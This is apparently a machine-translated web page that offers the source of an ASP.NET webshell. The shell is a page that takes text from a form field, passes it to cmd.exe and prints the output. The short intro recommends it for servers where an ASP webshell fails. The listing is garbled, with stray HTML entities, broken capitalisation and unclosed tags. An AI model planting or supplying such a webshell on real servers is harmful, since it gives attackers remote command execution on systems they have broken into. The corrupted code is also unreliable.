A asp.net under the Webshell, the main completion of the cmd command. General server settings, asp.net user's permissions are relatively high. If the Webshell of the ASP cannot be performed, it may be asp.net.
The code is as follows:
Copy Code code as follows:
<%@ Page language= "C #" autoeventwireup= "true"%>
<%@ Import namespace= " System.Runtime.InteropServices "%>
<%@ import namespace=" System.IO "%>
<%@ Import Namespace=" System.Data "%>
<%@ import namespace=" System.Reflection "%>
<%@ Import Namespace=" System.Diagnostics "%>
<%@ import namespace=" system.web "%>
<%@ import namespace=" System.Web.UI "%& Gt
<%@ Import namespace= "System.Web.UI.WebControls"%>
<script runat= "server"
protected void Exec (object sender, EventArgs e)
{
string item = cmd. Text;
Process P = new process ();
p.startinfo.filename = "cmd.exe";
P.startinfo.useshellexecute = false;
p.startinfo.redirectstandardinput = true;
p.startinfo.redirectstandardoutput = true;
p.startinfo.redirectstandarderror = true;
&Nbsp; P.startinfo.createnowindow = true;
string stroutput = null;
P.start ();
p.standardinput.writeline (item);
p.standardinput.writeline ("exit");
stroutput = P.standardoutput.readtoend ();
p.waitforexit ();
p.close ();
Response.Write ("<pre>");
Response.Write (stroutput);
Response.Write ("</pre>");
}
protected void Page_Load (object sender, EventArgs e)
{
&nb sp; }
</script>
<form id= "Form1" runat= "Server"
<asp:textbox id= "cmd" runat= "Server" text= "dir c:"/><asp:button id= "btn" onclick= "exec" runat= "server" text= "execute"/>
</form>